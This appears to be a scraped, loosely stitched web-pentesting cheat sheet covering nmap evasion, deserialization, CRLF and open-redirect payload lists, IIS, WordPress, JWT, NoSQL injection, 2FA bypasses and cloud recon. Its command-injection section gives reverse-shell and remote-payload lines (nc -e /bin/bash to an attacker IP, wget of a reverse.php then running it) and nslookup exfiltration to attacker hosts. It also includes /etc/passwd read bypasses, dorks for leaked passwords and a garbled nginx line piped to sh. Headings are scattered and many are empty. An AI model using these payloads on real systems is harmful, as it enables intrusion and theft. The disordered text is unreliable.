    # Full complete slow scan with output
    nmap -v -A -p- -Pn --script vuln -oA full 10.11.1.111
    
    # Network filtering evasion
    nmap --source-port 53 -p 5555 10.11.1.111
        # If work, set IPTABLES to bind this port
        iptables -t nat -A POSTROUTING -d 10.11.1.111 -p tcp -j SNAT --to :53
    
    # Scan for UDP
    nmap 10.11.1.111 -sU
    nmap -sU -F -Pn -v -d -sC -sV --open --reason -T5 10.11.1.111
    
    # FW evasion
    nmap -f <IP>
    nmap --mtu 24 <IP>
    nmap --data-length 30 <IP>
    nmap --source-port 53 <IP>
    
    # Nmap better speed flags
    --max-rtt-timeout: Time response per probe
    --script-timeout: Time response per script
    --host-timeout: Time response for host
    --open: Avoid detection if filtered or closed
    --min-rate
    # https://cli.shodan.io/
    shodan host 151.101.1.68
    # Inject existing extra parameters in GET:
    https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
    https://www.site.com/sharer.php?u=https://site2.com/blog/introducing?&u=https://site3.com/test

    Files

    Common

    # Check real file type
    file file.xxx
    
    # Analyze strings
    strings file.xxx
    strings -a -n 15 file.xxx # Check the entire file and outputs strings longer than 15 chars
    
    # Check embedded files
    binwalk file.xxx # Check
    binwalk -e file.xxx # Extract
    
    # Check as binary file in hex
    ghex file.xxx
    
    # Check metadata
    exiftool file.xxx
    
    # Stego tool for multiple formats
    wget https://embeddedsw.net/zip/OpenPuff_release.zip
    unzip OpenPuff_release.zip -d ./OpenPuff
    wine OpenPuff/OpenPuff_release/OpenPuff.exe
    
    # Compressed files
    fcrackzip file.zip
    # https://github.com/priyankvadaliya/Zip-Cracker-
    python zipcracker.py -f testfile.zip -d passwords.txt
    python zipcracker.py -f testfile.zip -d passwords.txt -o extractdir
    
    # Office documents
    https://github.com/assafmo/xioc
    
    # Zip files in website
    pip install remotezip
    # list contents of a remote zip file
    remotezip -l "http://site/bigfile.zip"
    # extract file.txt from a remote zip file
    remotezip "http://site/bigfile.zip" "file.txt"
    
    # Grep inside any files
    # https://github.com/phiresky/ripgrep-all
    rga "whatever" folder/

    Disk files

    Audio

    Images

    Deserialization

    Insecure deserialization is when user-controllable data is deserialized by a website. This potentially enables an attacker to manipulate serialized objects in order to pass harmful data into the application code.

    Objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. An object of an unexpected class might cause an exception. By this time, however, the damage may already be done. Many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the website's own functionality does not directly interact with the malicious object.

    Vulnerable functions

    Tools

    OneLogin - SAML Login

    # https://developers.onelogin.com/saml
    # https://www.securing.pl/en/saml-what-can-go-wrong-security-check/
    # https://github.com/fadyosman/SAMLExtractor
    ./samle.py -u https://carbon-prototype.uberinternal.com/
    ./samle.py -r "https://domain.onelogin.com/trust/saml2/http-post/sso/571434?SAMLRequest=nVNNb9swDP0rhu7%2BkO0iqRAH8FIMC9BtRuLtOjAS2wqwJU%2Bi1%2FTfT3aSIoc1h10siXzie3yiVx76bhD1SC9mh79H9BQd%2B854MScqNjojLHjthYEevSAp9vXXR5EnmRicJSttx6LmvPukjdLm%2Bfa1wwnkxZe2beLm%2B75l0U90XltTsQBg0db7EbfGExgKoYwvY85jXrZZJgouijxAHiqGPC8XRblEDF9eZvcqX4DEXC3v70CpgkW19%2BgoFN5Y48ce3R7dHy3xx%2B6xYi9EgxdpKsEdrInnbuhtwGQ8oNOG0BnoEml7UZZFarWC4FI6%2BfJLnsqx9Wo6ilmvuzLutgFwUcXWFw0wDIk12NlnbSbKmSbtkUABQXq34GVRrtIrthP1IL6F8tuHxnZavkV119nXjUMgrBi5EVn02boe6GNBPOFzRKv4aYYK7EF3tVIOvWfphec8HajmWQl%2BEh4p2th%2BAKf99HR4BEkXS65Rmy50vMOn%2FzHoJkwKOZUO4SYsr9apaRBRBpWtA%2BMH6%2Bhs2r%2F0rE%2B5D3p7z17%2FHOu%2F&RelayState=%2F"

    Sharepoint

    Good reference:

    # 1. Fuzz exposed endpoints 
    # 2. Analyze misconfigs to gain auth access
    # 3. Check the list of latest RCEs

    Webs recon

    Resolution

    WAF Checks

    Open redirects

    Tools

    Payloads

    General Info

    Auth headers

    Common checks

    Wordpress

    Tools

    CRLF

    Tools

    IIS

    Nginx

    # guestmount can mount any kind of disk file
    sudo apt-get install libguestfs-tools
    guestmount --add yourVirtualDisk.vhdx --inspector --ro /mnt/anydirectory
    # Check spectrogram
    wget https://code.soundsoftware.ac.uk/attachments/download/2561/sonic-visualiser_4.0_amd64.deb
    dpkg -i sonic-visualiser_4.0_amd64.deb
    
    # Check for Stego
    hideme stego.mp3 -f && cat output.txt #AudioStego
    # Stego
    wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
    chmod +x stegsolve.jar
    java -jar stegsolve.jar
    
    # Stegpy
    stegpy -p file.png
    
    # Check png corrupted
    pngcheck -v image.jpeg
    
    # Check what kind of image is
    identify -verbose image.jpeg
    
    # Stegseek
    # https://github.com/RickdeJager/stegseek
    stegseek --seed file.jpg
    stegseek file.jpg rockyou.txt 
    # PHP
    unserialize()
    
    # Python
    pickle/c_pickle/_pickle with load/loads
    PyYAML with load
    jsonpickle with encode or store methods>/tmp/f
    
    # Java
    # Whitebox
    XMLdecoder with external user defined parameters
    XStream with fromXML method (xstream version <= v1.46 is vulnerable to the serialization issue)
    ObjectInputStream with readObject
    Uses of readObject, readObjectNodData, readResolve or readExternal
    ObjectInputStream.readUnshared
    Serializable
    # Blackbox
    AC ED 00 05 in Hex
    rO0 in Base64
    Content-type: application/x-java-serialized-object
    # ysoserial
    java -jar ysoserial.jar CommonsCollections4 'command'
    
    # .Net
    # Whithebox
    TypeNameHandling
    JavaScriptTypeResolver
    # Blackbox
    AAEAAAD/////
    TypeObject
    $type
    #https://github.com/devanshbatham/OpenRedireX
    python3 openredirex.py -u "https://website.com/?url=FUZZ" -p payloads.txt --keyword FUZZ
    
    #https://github.com/0xNanda/Oralyzer
    python3 oralyzer.py -u https://website.com/redir?url=
    
    # Payload generator
    # https://gist.github.com/zPrototype/b211ae91e2b082420c350c28b6674170
    # https://github.com/wpscanteam/wpscan
    wpscan --url https://url.com
    
    
    # https://github.com/Chocapikk/wpprobe
    wpprobe scan -u https://target.com/ --mode hybrid
    # https://github.com/MichaelStott/CRLF-Injection-Scanner
    crlf_scan.py -i <inputfile> -o <outputfile>
    # https://github.com/dwisiswant0/crlfuzz
    crlfuzz -u "http://target"
    # https://github.com/ryandamour/crlfmap
    crlfmap scan --domains domains.txt --output results.txt
    The following simplified example uses CRLF to:
    
    1. Add a fake HTTP response header: Content-Length: 0. This causes the web browser to treat this as a terminated response and begin parsing a new response.
    2. Add a fake HTTP response: HTTP/1.1 200 OK. This begins the new response.
    3. Add another fake HTTP response header: Content-Type: text/html. This is needed for the web browser to properly parse the content.
    4. Add yet another fake HTTP response header: Content-Length: 25. This causes the web browser to only parse the next 25 bytes.
    5. Add page content with an XSS: <script>alert(1)</script>. This content has exactly 25 bytes.
    6. Because of the Content-Length header, the web browser ignores the original content that comes from the web server.
    
        http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
    
    - Cloudflare CRLF bypass
    <iframe src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)”>
    
    Payload list:
    /%%0a0aSet-Cookie:crlf=injection
    /%0aSet-Cookie:crlf=injection
    /%0d%0aSet-Cookie:crlf=injection
    /%0dSet-Cookie:crlf=injection
    /%23%0aSet-Cookie:crlf=injection
    /%23%0d%0aSet-Cookie:crlf=injection
    /%23%0dSet-Cookie:crlf=injection
    /%25%30%61Set-Cookie:crlf=injection
    /%25%30aSet-Cookie:crlf=injection
    /%250aSet-Cookie:crlf=injection
    /%25250aSet-Cookie:crlf=injection
    /%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
    /%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
    /%2F..%0d%0aSet-Cookie:crlf=injection
    /%3f%0d%0aSet-Cookie:crlf=injection
    /%3f%0dSet-Cookie:crlf=injection
    /%u000aSet-Cookie:crlf=injection
    /%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
    /%0d%0aheader:header
    /%0aheader:header
    /%0dheader:header
    /%23%0dheader:header
    /%3f%0dheader:header
    /%250aheader:header
    /%25250aheader:header
    /%%0a0aheader:header
    /%3f%0dheader:header
    /%23%0dheader:header
    /%25%30aheader:header
    /%25%30%61header:header
    /%u000aheader:header
    # Reminder:
    Case insensitive
    IIS Shortname
    VIEWSTATE deserialization RCE gadget
    Web.config upload tricks
    Debug mode w/ detailed stack traces and full path
    Debugging scripts often deployed (ELMAH, Trace)
    Telerik RCE
    
    # ViewState:
    https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC
    
    # WebResource.axd:
    https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py
    
    # ShortNames
    https://github.com/irsdl/IIS-ShortName-Scanner
    java -jar iis_shortname_scanner.jar 2 20 http://domain.es
    https://github.com/bitquark/shortscan
    https://github.com/sw33tLie/sns
    
    
    # Padding Oracle Attack:
    # https://github.com/KishanBagaria/padding-oracle-attacker
    npm install --global padding-oracle-attacker
    padding-oracle-attacker decrypt  hex:   [options]
    padding-oracle-attacker decrypt  b64:   [options]
    padding-oracle-attacker encrypt              [options]
    padding-oracle-attacker encrypt  hex:    [options]
    padding-oracle-attacker analyze  [] [options]
    # https://github.com/liquidsec/pyOracle2
    
    # Look for web.config or web.xml
    https://x.x.x.x/.//WEB-INF/web.xml
    
    # ASP - force error paths
    /con/
    /aux/
    con.aspx
    aux.aspx
    
    # HTTPAPI 2.0 404 Error
    Change Host header to correct subdomain
    Add to /etc/hosts
    Scan again including IIS Shortnames
    
    # IIS 7
    IIS Short Name scanner
    HTTP.sys DOS RCE
    
    # ViewState
    # https://github.com/0xacb/viewgen
    curl -gsS https://example.com:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00example.com/../../../%00/n …\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
    
    # If merge_slashes is OFF path traversal is possible, just append 1 slash more to find
    ///////../../../etc/passwd

    Command Injection

    Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.

    Header injections

    Headers

    Tools

    # https://github.com/lobuhi/byp4xx
    ./byp4xx.sh https://url/path
    # https://github.com/OdinF13/Bug-Bounty-Scripts
    
    # https://github.com/mlcsec/headi
    headi -url http://target.com/admin

    Cloud Info Gathering

    # Azure IP Ranges
    https://azurerange.azurewebsites.net/
    
    # AWS IP Range
    https://ip-ranges.amazonaws.com/ip-ranges.json
    - Get creation date
    jq .createDate < ip-ranges.json
    - Get info for specific region
    jq  '.prefixes[] | select(.region=="us-east-1")' < ip-ranges.json
    - Get all IPs
    jq -r '.prefixes | .[].ip_prefix' < ip-ranges.json
    
    # Online services
    https://viewdns.info/
    https://securitytrails.com/
    https://www.shodan.io/search?query=net%3A%2234.227.211.0%2F24%22
    https://censys.io/ipv4?q=s3
    
    #Azure AD Recon
    https://github.com/dievus/Oh365UserFinder
    
    #AWS Recon
    https://github.com/righteousgambit/quiet-riot
    
    # Google Dorks
    site:*.amazonaws.com -www "compute"
    site:*.amazonaws.com -www "compute" "ap-south-1"
    site:pastebin.com "rds.amazonaws.com" "u " pass OR password
    https://storage.googleapis.com/COMPANY
    
    # Check certificate transparency logs
    https://crt.sh
    %.netfilx.com
    
    # Find Cloud Services
    python3 cloud_enum.py -k keywork
    python3 CloudScraper.py -u https://example.com
    
    # AWS Buckets
    # Dork
    site:*.s3.amazonaws.com ext:xls | ext:xlsx | ext:csv password|passwd|pass user|username|uid|email
    
    # AWS discovering, stealing keys and endpoints
    # Nimbostratus - check against acutal profile
    https://github.com/andresriancho/nimbostratus
    python nimbostratus dump-credentials
    
    # ScoutSuite - audit AWS, GCP and Azure clouds
    scout --provider aws --profile stolen
    
    # Prowler - AWS security assessment, auditing and hardening
    https://github.com/toniblyx/prowler

    Tomcat

    Check if the following scripts exists (v4.x - v7.x):
    /examples/jsp/num/numguess.jsp
    /examples/jsp/dates/date.jsp
    /examples/jsp/snp/snoop.jsp
    /examples/jsp/error/error.html
    /examples/jsp/sessions/carts.html
    /examples/jsp/checkbox/check.html
    /examples/jsp/colors/colors.html
    /examples/jsp/cal/login.html
    /examples/jsp/include/include.jsp
    /examples/jsp/forward/forward.jsp
    /examples/jsp/plugin/plugin.jsp
    /examples/jsp/jsptoserv/jsptoservlet.jsp
    /examples/jsp/simpletag/foo.jsp
    /examples/jsp/mail/sendmail.jsp
    /examples/servlet/HelloWorldExample
    /examples/servlet/RequestInfoExample
    /examples/servlet/RequestHeaderExample
    /examples/servlet/RequestParamExample
    /examples/servlet/CookieExample
    /examples/servlet/JndiServlet
    /examples/servlet/SessionExample
    /tomcat-docs/appdev/sample/web/hello.jsp
    
    Users under 
    $TOMCAT_HOME/tomcat6/tomcat-users.xml
    CMS

    Web screenshot

    Fuzzing

    URLs

    URL extraction

    Filtering

    Patterns

    JS

    Wordlists generation

    # Java
    # Ysoserial: https://github.com/frohoff/ysoserial
    java -jar ysoserial.jar CommonsCollections4 'command'
    # Java Deserialization Scanner: https://github.com/federicodotta/Java-Deserialization-Scanner
    # SerialKiller: https://github.com/ikkisoft/SerialKiller
    # Serianalyzer: https://github.com/mbechler/serianalyzer
    # Java Unmarshaller Security: https://github.com/mbechler/marshalsec
    # Java Serial Killer: https://github.com/NetSPI/JavaSerialKiller
    # Android Java Deserialization Vulnerability Tester: https://github.com/modzero/modjoda
    # Java https://github.com/phith0n/zkar
    
    # .NET
    # Ysoserial.net: https://github.com/pwntester/ysoserial.net
    ysoserial.exe -g ObjectDataProvider -f Json.Net -c “command-here” -o base64
    
    # Burp-Plugins
    # Java: https://github.com/DirectDefense/SuperSerial
    # Java: https://github.com/DirectDefense/SuperSerial-Active
    # Burp-ysoserial: https://github.com/summitt/burp-ysoserial
    # Check for
    =aHR0
    =http
    # https://github.com/m0chan/BugBounty/blob/master/OpenRedirectFuzzing.txt
    
    https://web.com/r/?url=https://phising-malicious.com
    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect
    
    # Check redirects
    https://url.com/redirect/?url=http://twitter.com/
    http://[email protected]/
    http://www.yoursite.com/http://www.theirsite.com/
    http://www.yoursite.com/folder/www.folder.com
    /http://twitter.com/
    /\\twitter.com
    /\/twitter.com
    ?c=.twitter.com/
    /?redir=google。com
    //google%E3%80%82com
    //google%00.com
    /%09/google.com
    /%5cgoogle.com
    //www.google.com/%2f%2e%2e
    //www.google.com/%2e%2e
    //google.com/
    //google.com/%2f..
    //\google.com
    /\victim.com:80%40google.com
    https://target.com///google.com//
    # Remember url enconde the payloads!
    
    # Search in Burp:
    “=http” or “=aHR0”(base64 encode http)
    
    # Fuzzing openredirect
    
    # Intruder url open redirect
    /{payload}
    ?next={payload}
    ?url={payload}
    ?target={payload}
    ?rurl={payload}
    ?dest={payload}
    ?destination={payload}
    ?redir={payload}
    ?redirect_uri={payload}
    ?redirect_url={payload}
    ?redirect={payload}
    /redirect/{payload}
    /cgi-bin/redirect.cgi?{payload}
    /out/{payload}
    /out?{payload}
    ?view={payload}
    /login?to={payload}
    ?image_url={payload}
    ?go={payload}
    ?return={payload}
    ?returnTo={payload}
    ?return_to={payload}
    ?checkout_url={payload}
    ?continue={payload}
    ?return_path={payload}
    
    # Valid URLs:
    http(s)://evil.com
    http(s):\\evil.com
    //evil.com
    ///evil.com
    /\evil.com
    \/evil.com
    /\/evil.com
    \\evil.com
    \/\evil.com
    / /evil.com
    \ \evil.com
    
    # Oneliner with gf
    echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew
    # Check IP behing WAF:
    https://blog.nem.ec/2020/01/22/discover-cloudflare-wordpress-ip/
    
    # SQLi in WP and can't crack users hash:
    1. Request password reset.
    2. Go to site.com/wp-login.php?action=rp&key={ACTIVATION_KEY}&login={USERNAME}
    
    # XMLRPC
    # https://github.com/nullfil3/xmlrpc-scan
    # https://github.com/relarizky/wpxploit
    # https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/
    
    # pingback.xml:
    <?xml version="1.0" encoding="iso-8859-1"?>
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
     <param>
      <value>
       <string>http://10.0.0.1/hello/world</string>
      </value>
     </param>
     <param>
      <value>
       <string>https://10.0.0.1/hello/world/</string>
      </value>
     </param>
    </params>
    </methodCall>
    
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params><param>
    <value><string>http://<YOUR SERVER >:<port></string></value>
    </param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
    </value></param></params>
    </methodCall>
    
    # List methods:
    <methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
    </methodCall>
    
    curl -X POST -d @pingback.xml https://exmaple.com/xmlrpc.php
    
    # Evidence xmlrpc:
    curl -d '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>demo.sayHello</methodName><params/></methodCall>' -k https://example.com/xmlrpc.php
    
    # Enum User:
    for i in {1..50}; do curl -s -L -i https://example.com/wordpress?author=$i | grep -E -o "Location:.*" | awk -F/ '{print $NF}'; done
    site.com/wp-json/wp/v2/users/
    
    # For detection, try to concatenate another command to param value
    &
    ;
    Newline (0x0a or \n)
    &&
    |
    ||
    # like: https://target.com/whatever?param=1|whoami
    
    # Blind (Time delay)
    https://target.com/whatever?param=x||ping+-c+10+127.0.0.1||
    
    # Blind (Redirect)
    https://target.com/whatever?param=x||whoami>/var/www/images/output.txt||
    
    # Blind (OOB)
    https://target.com/whatever?param=x||nslookup+burp.collaborator.address||
    https://target.com/whatever?param=x||nslookup+`whoami`.burp.collaborator.address||
    
    # Common params:
    cmd
    exec
    command
    execute
    ping
    query
    jump
    code
    reg
    do
    func
    arg
    option
    load
    process
    step
    read
    function
    req
    feature
    exe
    module
    payload
    run
    print
    
    # Useful Commands: Linux
    whoami
    ifconfig
    ls
    uname -a
    
    # Useful Commands: Windows
    whoami
    ipconfig
    dir
    ver
    
    # Both Unix and Windows supported
    ls||id; ls ||id; ls|| id; ls || id 
    ls|id; ls |id; ls| id; ls | id 
    ls&&id; ls &&id; ls&& id; ls && id 
    ls&id; ls &id; ls& id; ls & id 
    ls %0A id
    
    # Time Delay Commands
    & ping -c 10 127.0.0.1 &
    
    # Redirecting output
    & whoami > /var/www/images/output.txt &
    
    # OOB (Out Of Band) Exploitation
    & nslookup attacker-server.com &
    & nslookup `whoami`.attacker-server.com &
    
    # WAF bypasses
    vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
    vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
    vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload
    
    # Some filter bypasses
    cat /etc/passwd
    cat /e”t”c/pa”s”swd
    cat /’e’tc/pa’s’ swd
    cat /etc/pa??wd
    cat /etc/pa*wd
    cat /et’ ‘c/passw’ ‘d
    cat /et$()c/pa$()$swd
    {cat,/etc/passwd}
    cat /???/?????d
    
    # Tools
    https://github.com/commixproject/commix
    # Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console
    Client-IP:
    Connection:
    Contact:
    Forwarded:
    From:
    Host:
    Origin:
    Referer:
    True-Client-IP:
    X-Client-IP:
    X-Custom-IP-Authorization:
    X-Forward-For:
    X-Forwarded-For:
    X-Forwarded-Host:
    X-Forwarded-Server:
    X-Host:
    X-Original-URL:
    X-Originating-IP:
    X-Real-IP:
    X-Remote-Addr:
    X-Remote-IP:
    X-Rewrite-URL:
    X-Wap-Profile:
    
    # Try to repeat same Host header 2 times
    Host: legit.com
    Stuff: stuff
    Host: evil.com
    
    # Bypass type limit
    Accept: application/json, text/javascript, */*; q=0.01
    Accept: ../../../../../../../../../etc/passwd{{'
    
    # Try to change the HTTP version from 1.1 to HTTP/0.9 and remove the host header
    
    # 401/403 bypasses 
    # Whitelisted IP 127.0.0.1 or localhost
    Client-IP: 127.0.0.1
    Forwarded-For-Ip: 127.0.0.1
    Forwarded-For: 127.0.0.1
    Forwarded-For: localhost
    Forwarded: 127.0.0.1
    Forwarded: localhost
    True-Client-IP: 127.0.0.1
    X-Client-IP: 127.0.0.1
    X-Custom-IP-Authorization: 127.0.0.1
    X-Forward-For: 127.0.0.1
    X-Forward: 127.0.0.1
    X-Forward: localhost
    X-Forwarded-By: 127.0.0.1
    X-Forwarded-By: localhost
    X-Forwarded-For-Original: 127.0.0.1
    X-Forwarded-For-Original: localhost
    X-Forwarded-For: 127.0.0.1
    X-Forwarded-For: localhost
    X-Forwarded-Server: 127.0.0.1
    X-Forwarded-Server: localhost
    X-Forwarded: 127.0.0.1
    X-Forwarded: localhost
    X-Forwared-Host: 127.0.0.1
    X-Forwared-Host: localhost
    X-Host: 127.0.0.1
    X-Host: localhost
    X-HTTP-Host-Override: 127.0.0.1
    X-Originating-IP: 127.0.0.1
    X-Real-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Remote-Addr: localhost
    X-Remote-IP: 127.0.0.1
    
    # Fake Origin - make GET request to accesible endpoint with:
    X-Original-URL: /admin
    X-Override-URL: /admin
    X-Rewrite-URL: /admin
    Referer: /admin
    # Also try with absoulte url https:/domain.com/admin
    
    # Method Override
    X-HTTP-Method-Override: PUT
    
    # Provide full path GET
    GET https://vulnerable-website.com/ HTTP/1.1
    Host: evil-website.com
    
    # Add line wrapping
    GET /index.php HTTP/1.1
     Host: vulnerable-website.com
    Host: evil-website.com
    
    # Wordlists
    https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
    https://github.com/danielmiessler/SecLists/tree/bbb4d86ec1e234b5d3cfa0a4ab3e20c9d5006405/Miscellaneous/web/http-request-headers
    # https://github.com/projectdiscovery/httpx
    cat subdomains/subdomains.txt | httpx -follow-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -no-color -o websites.txt
    # https://github.com/EnableSecurity/wafw00f 
    wafw00f -i websites.txt
    
    # IP Wafs/CDN lists
    https://github.com/MISP/misp-warninglists
    # https://github.com/Tuhinshubhra/CMSeeK 
    tr '\n' ',' < websites.txt > cms_test.txt 
    python3 cmseek.py -l cms_test.txt --batch -r
    # https://github.com/sensepost/gowitness
    gowitness file -f websites.txt 
    gowitness report serve -D gowitness.sqlite3
    # https://github.com/ffuf/ffuf
    ffuf -mc all -fc 404 -ac -sf -s -w wordlist.txt -u https://www.domain.com/FUZZ
     # https://github.com/jaeles-project/gospider
     gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt
    
     # https://github.com/lc/gau
     cat websites.txt | gau --subs 
     
     # https://github.com/tomnomnom/waybackurls 
     cat websites.txt | waybackurls 
     
     # https://github.com/gwen001/github-endpoints 
     github-endpoints -q -k -d united.com -t tokens_github.txt 
     
     # https://github.com/Josue87/roboxtractor 
     cat webs.txt | roboxtractor -m 1 -wb
    
     # https://github.com/projectdiscovery/katana
     katana -u target.com -ps -silent -pss waybackarchive,commoncrawl,alienvault -o urls.txt ##Passive mode
     katana -u target.com -duc -silent -nc -jc -kf all -fx -xhr -ef woff,css,png,svg,jpg,woff2,jpeg,gif,svg -aff -o urls.txt ##Crawling and Spidering
    
     # https://github.com/xnl-h4ck3r/waymore
     waymore -i target.com -mode U -oU urls.txt
    # https://github.com/tomnomnom/qsreplace
    cat urls.txt | qsreplace -a
    
    # https://github.com/s0md3v/uro 
    cat urls.txt | uro
    # https://github.com/tomnomnom/gf 
    # https://github.com/1ndianl33t/Gf-Patterns 
    gf sqli urls.txt
    # https://github.com/w9w/JSA 
    cat urls.txt | python3 jsa.py 
    
    # https://github.com/lc/subjs 
    cat js.txt | subjs | httpx 
    
    # https://github.com/GerbenJavado/LinkFinder 
    python3 linkfinder.py -d -i https://domain.com/whatever.js -o cli
    # https://github.com/tomnomnom/unfurl 
    cat urls.txt | unfurl -u keys 
    cat urls.txt | unfurl -u values
    Security headers explanation
    # Basic Auth (B64)
    Authorization: Basic AXVubzpwQDU1dzByYM==
    # Bearer Token (JWT)
    Authorization: Bearer <token>
    # API Key
    GET /endpoint?api_key=abcdefgh123456789
    X-API-Key: abcdefgh123456789
    # Digest Auth
    Authorization: Digest username=”admin” Realm=”abcxyz” nonce=”474754847743646”, uri=”/uri” response=”7cffhfr54685gnnfgerg8”
    # OAuth2.0
    Authorization: Bearer hY_9.B5f-4.1BfE
    # Hawk Authentication
    Authorization: Hawk id="abcxyz123", ts="1592459563", nonce="gWqbkw", mac="vxBCccCutXGV30gwEDKu1NDXSeqwfq7Z0sg/HP1HjOU="
    # AWS signature
    Authorization: AWS4-HMAC-SHA256 Credential=abc/20200618/us-east-1/execute-api/aws4_
    cloud
    Kerberos
    Android
    iOS
    Burp Suite
    preferred extensions
    Pentesting Web Checklist
    comparison

    JWT

    Tools

    General info

    1. Leak Sensitive Info
    2. Send without signature
    3. Change algorythm r to h
    4. Crack the secret h256
    5. KID manipulation
    
    eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE1ODQ2NTk0MDAsInVzZXJuYW1lIjoidGVtcHVzZXI2OSIsInJvbGVzIjpbIlJPTEVfRVhURVJOQUxfVVNFUiJdLCJhcHBDb2RlIjoiQU5UQVJJX0FQSSIsImlhdCI6MTU4NDU3MzAwMH0.AOHXCcMFqYFeDSYCEjeugT26RaZLzPldqNAQSlPNpKc2JvdTG9dr2ini4Z42dd5xTBab-PYBvlXIJetWXOX80A
    
    https://trustfoundry.net/jwt-hacking-101/
    https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9
    https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
    https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
    
    - JKU & X5U Headers - JWK
        - Header injection
        - Open redirect
    
    
    
    - Remember test JWT after session is closed

    Attacks

    Header

    Payload

    SSL/TLS

    DROWN

    TLS_FALLBACK_SCSV

    BEAST

    LUCKY13

    Sweet32

    Logjam

    SSLv2 Support

    SSLv3 Support

    Cipher suites

    Secure renegotiation

    CRIME

    BREACH

    Heartbleed

    Change cipher spec injection

    Cipher order enforcement

    NoSQL (MongoDB, CouchDB)

    # Tools
    # https://github.com/codingo/NoSQLMap
    python NoSQLMap.py
    # https://github.com/torque59/Nosql-Exploitation-Framework
    python nosqlframework.py -h
    # https://github.com/Charlie-belmer/nosqli
    nosqli scan -t http://localhost:4000/user/lookup?username=test
    # https://github.com/FSecureLABS/N1QLMap
    ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
    
    # Payload: 
    ' || 'a'=='a
    
    mongodbserver:port/status?text=1
    
    # in URL
    username[$ne]=toto&password[$ne]=toto
    
    ##in JSON
    {"username": {"$ne": null}, "password": {"$ne": null}}
    {"username": {"$gt":""}, "password": {"$gt":""}}
    
    - Trigger MongoDB syntax error -> ' " \ ; { }
    - Insert logic -> ' || '1' == '1' ; //
    - Comment out -> //
    - Operators -> $where $gt $lt $ne $regex
    - Mongo commands -> db.getCollectionNames()

    Adobe AEM

    Tools

    # https://github.com/0ang3el/aem-hacker
    python3 aem_discoverer.py --file list.txt
    python3 aem_hacker.py -u https://target.com --host [SSRF_CALLBACK]
    #https://github.com/Raz0r/aemscan

    Paths

    #https://github.com/clarkvoss/AEM-List/blob/main/paths
    #https://github.com/emadshanab/Adobe-Experience-Manager/blob/main/aem-paths.txt

    Creds

    Vulns

    CVE-2016-0957 - Bypass dispatcher filters

    MFA/2FA

    Common flaws

    # Lack of rate limit
        - Exploitation:
        1. Request 2FA code and capture this request.
        2. Repeat this request for 100–200 times and if there is no limitation set, that’s a rate limit issue.
        3. At 2FA Code Verification page, try to brute-force for valid 2FA and see if there is any success.
        4. You can also try to initiate, requesting OTPs at one side and brute-forcing at another side. Somewhere the OTP will match in middle and may give you a quick result.
    # Rate limit bypass
        # Limiting the flow rate
        # Generated OTP code doesn’t change
        # Rate-limit resetting when updating the code
        # Bypassing the rate limit by changing the IP address
        # Support for X-Forwarded-For turned on
    # Bypass replacing part of the request from the session
    # Bypass using the "Remember Me" functionality
        # If 2FA is attached using a cookie, the cookie value must be unguessable
        # If 2FA is attached to an IP address, you can try to replace your IP address
    # Improper access control bug on the 2FA dialog page
    # Insufficient censorship of personal data on the 2FA page
    # Ignoring 2FA under certain circumstances.
        # 2FA ignoring when recovering a password
        # Ignoring 2FA when entering through a social network
        # Ignoring 2FA in an older version of the application
        # Ignoring 2FA in case of cross-platforming
    # When disabling 2FA, the current code or password is not requested
    # Previously created sessions remain valid after activation of 2FA
    # Lack of Rate-limit in the user’s account (OTP is validated, but user's id not)
    # Manipulation of API’s versions
    # Improper Access Control in the backup codes request
    # Response body manipulation
    # HTTP Response Status Code Manipulation
    # Code Leakage in Response
    # Direct Request/Forceful Browsing
        - Exploitation:
        1. Normal flow: Login -> MFA -> Profile
        2. Attack: Login -> MFA, instead input MFA navigate to Profile
    # Cached OTP in Dynamic JS Files
    # OTP Code Reusability

    Mindmaps

    HTTP Request Smuggling

    General

